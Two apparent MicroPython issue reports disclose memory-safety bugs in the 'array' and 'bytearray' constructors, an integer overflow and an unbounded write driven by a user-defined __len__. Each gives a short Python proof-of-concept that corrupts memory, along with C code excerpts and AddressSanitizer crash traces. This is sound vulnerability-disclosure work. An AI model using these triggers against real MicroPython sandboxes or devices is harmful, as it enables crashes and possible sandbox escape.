Integer overflow in `array` constructor via `len*itemsize` multiplication
Port, board and/or hardware
unix port
MicroPython version
MicroPython v1.27.0-preview.45.g1588c455c.dirty on 2025-11-23; linux [GCC 13.3.0] version
Issue Report
array_construct trusts a user __len__ when preallocating storage and multiplies the length by the typecode size without overflow checks. With a huge __len__, the multiplication wraps to zero so array_new allocates a NULL/too-small buffer but still records the large logical length. The ensuing array_extend_impl fills elements via mp_binary_set_val_array, which dereferences the NULL buffer and crashes.
Proof of Concept:
from array import array
class Boom:
def __len__(self):
return 1 << 61 # overflows typecode_size * len in array_new
def __iter__(self):
for _ in range(4):
yield 1.23
array("d", Boom())
What does this issue allow an attacker to do?
This vulnerability allows an attacker to trigger a buffer overflow, potentially leading to memory corruption, crashes, or arbitrary code execution.
How does the attacker exploit this issue?
The attacker can exploit this by executing the malicious code shown in the PoC above. This could be used to escape Python sandboxes or break out of restricted execution environments.
<details>
<summary><strong>Vulnerable Code Location</strong></summary>
static mp_obj_t array_construct(char typecode, mp_obj_t initializer) {
...
mp_obj_t len_in = mp_obj_len_maybe(initializer); // calls user __len__ (returns 1<<61 in PoC)
if (len_in == MP_OBJ_NULL) {
len = 0;
} else {
len = MP_OBJ_SMALL_INT_VALUE(len_in);
}
mp_obj_array_t *array = array_new(typecode, len); // overflowed len feeds allocation and logical length
array_extend_impl(array, initializer, typecode, len);
return MP_OBJ_FROM_PTR(array);
}
static mp_obj_array_t *array_new(char typecode, size_t n) {
int typecode_size = mp_binary_get_size('@', typecode, NULL);
...
o->len = n;
o->items = m_new(byte, typecode_size * o->len); // size_t multiplication can wrap to 0, yielding NULL/undersized buffer
return o;
}
void mp_binary_set_val_array(char typecode, void *p, size_t index, mp_obj_t val_in) {
switch (typecode) {
case 'd':
((double *)p)[index] = mp_obj_get_float_to_d(val_in); // dereferences the NULL/undersized buffer and crashes
break;
...
}
}
</details>
<details>
<summary><strong>Sanitizer Output</strong></summary>
AddressSanitizer:DEADLYSIGNAL
=================================================================
==529734==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x60f18d65db3c bp 0x7090fb881b80 sp 0x7ffe640c10e0 T0)
==529734==The signal is caused by a WRITE memory access.
==529734==Hint: address points to the zero page.
#0 0x60f18d65db3c in mp_binary_set_val_array ../../py/binary.c:482
#1 0x60f18d61d3f6 in array_extend_impl ../../py/objarray.c:124
#2 0x60f18d61eb4a in array_construct ../../py/objarray.c:158
#3 0x60f18d61eedc in array_make_new ../../py/objarray.c:176
#4 0x60f18d651c2b in type_call ../../py/objtype.c:1060
#5 0x60f18d60a5e9 in mp_call_function_n_kw ../../py/runtime.c:727
#6 0x60f18d66e9a8 in mp_execute_bytecode ../../py/vm.c:984
#7 0x60f18d62c1d4 in fun_bc_call ../../py/objfun.c:295
#8 0x60f18d60a5e9 in mp_call_function_n_kw ../../py/runtime.c:727
#9 0x60f18d60e9c6 in mp_call_function_0 ../../py/runtime.c:701
#10 0x60f18d809fdc in execute_from_lexer /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:162
#11 0x60f18d80a0f2 in do_file /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:311
#12 0x60f18d80ba15 in main_ /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:728
#13 0x60f18d80c06a in main /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:494
#14 0x7090fb62a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#15 0x7090fb62a28a in __libc_start_main_impl ../csu/libc-start.c:360
#16 0x60f18d5ad784 in _start (/home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/build-coverage/micropython+0x21e784) (BuildId: ef44fcbd48195c8242bc6ba3e1fc292f19527c57)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/binary.c:482 in mp_binary_set_val_array
==529734==ABORTING
</details>
Code of Conduct
- Yes, I agree
Buffer overflow in `bytearray` constructor via trusted `__len__` with long iterator
Port, board and/or hardware
unix port
MicroPython version
MicroPython v1.27.0-preview.45.g1588c455c.dirty on 2025-11-23; linux [GCC 13.3.0] version
Issue Report
array_construct trusts a user __len__ result to size a bytearray, then array_extend_impl iterates the object without enforcing that bound. A custom iterable that reports a short length but yields many items writes past the allocated buffer, corrupts adjacent objects (here a generator), and crashes when the overwritten generator is resumed.
Proof of Concept:
class Sneaky:
def __len__(self):
return 1
def __iter__(self):
for _ in range(1000):
yield 65
bytearray(Sneaky())
What does this issue allow an attacker to do?
This vulnerability allows an attacker to trigger a buffer overflow, potentially leading to memory corruption, crashes, or arbitrary code execution.
How does the attacker exploit this issue?
The attacker can exploit this by executing the malicious code shown in the PoC above. This could be used to escape Python sandboxes or break out of restricted execution environments.
<details>
<summary><strong>Vulnerable Code Location</strong></summary>
static mp_obj_t array_construct(char typecode, mp_obj_t initializer) {
mp_obj_t len_in = mp_obj_len_maybe(initializer); // Calls user __len__, may be smaller than real output
size_t len = len_in == MP_OBJ_NULL ? 0 : MP_OBJ_SMALL_INT_VALUE(len_in);
mp_obj_array_t *array = array_new(typecode, len); // Allocates fixed-size buffer based on trusted len
array_extend_impl(array, initializer, typecode, len); // Iterates without enforcing the allocation size
return MP_OBJ_FROM_PTR(array);
}
static void array_extend_impl(mp_obj_array_t *array, mp_obj_t arg, char typecode, size_t len) {
mp_obj_t iterable = mp_getiter(arg, NULL);
mp_obj_t item;
size_t i = 0;
while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { // Re-enters Python iterator/generator
if (len == 0) {
array_append(MP_OBJ_FROM_PTR(array), item);
} else {
// Bug: i keeps increase without checking the array->items length
mp_binary_set_val_array(typecode, array->items, i++, item);
}
}
}
void mp_binary_set_val_array_from_int(char typecode, void *p, size_t index, mp_int_t val) {
switch (typecode) {
/* ... */
#if MICROPY_PY_BUILTINS_FLOAT
case 'f':
((float *)p)[index] = (float)val;
break;
/* ... */
}
}
</details>
<details>
<summary><strong>Sanitizer Output</strong></summary>
AddressSanitizer:DEADLYSIGNAL
=================================================================
==528305==ERROR: AddressSanitizer: SEGV on unknown address 0x7d0041414149 (pc 0x61783ee97b57 bp 0x7fffadb659b0 sp 0x7fffadb65960 T0)
==528305==The signal is caused by a READ memory access.
#0 0x61783ee97b57 in mp_obj_gen_resume ../../py/objgenerator.c:196
#1 0x61783ee9831b in gen_resume_and_raise ../../py/objgenerator.c:259
#2 0x61783ee985c6 in gen_instance_iternext ../../py/objgenerator.c:282
#3 0x61783ee75c55 in mp_iternext ../../py/runtime.c:1404
#4 0x61783ee87413 in array_extend_impl ../../py/objarray.c:120
#5 0x61783ee88b4a in array_construct ../../py/objarray.c:158
#6 0x61783ee88dc6 in bytearray_make_new ../../py/objarray.c:206
#7 0x61783eebbc2b in type_call ../../py/objtype.c:1060
#8 0x61783ee745e9 in mp_call_function_n_kw ../../py/runtime.c:727
#9 0x61783eed89a8 in mp_execute_bytecode ../../py/vm.c:984
#10 0x61783ee961d4 in fun_bc_call ../../py/objfun.c:295
#11 0x61783ee745e9 in mp_call_function_n_kw ../../py/runtime.c:727
#12 0x61783ee789c6 in mp_call_function_0 ../../py/runtime.c:701
#13 0x61783f073fdc in execute_from_lexer /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:162
#14 0x61783f0740f2 in do_file /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:311
#15 0x61783f075a15 in main_ /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:728
#16 0x61783f07606a in main /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:494
#17 0x7d009242a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#18 0x7d009242a28a in __libc_start_main_impl ../csu/libc-start.c:360
#19 0x61783ee17784 in _start (/home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/build-coverage/micropython+0x21e784) (BuildId: ef44fcbd48195c8242bc6ba3e1fc292f19527c57)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/objgenerator.c:196 in mp_obj_gen_resume
==528305==ABORTING
</details>
Code of Conduct
- Yes, I agree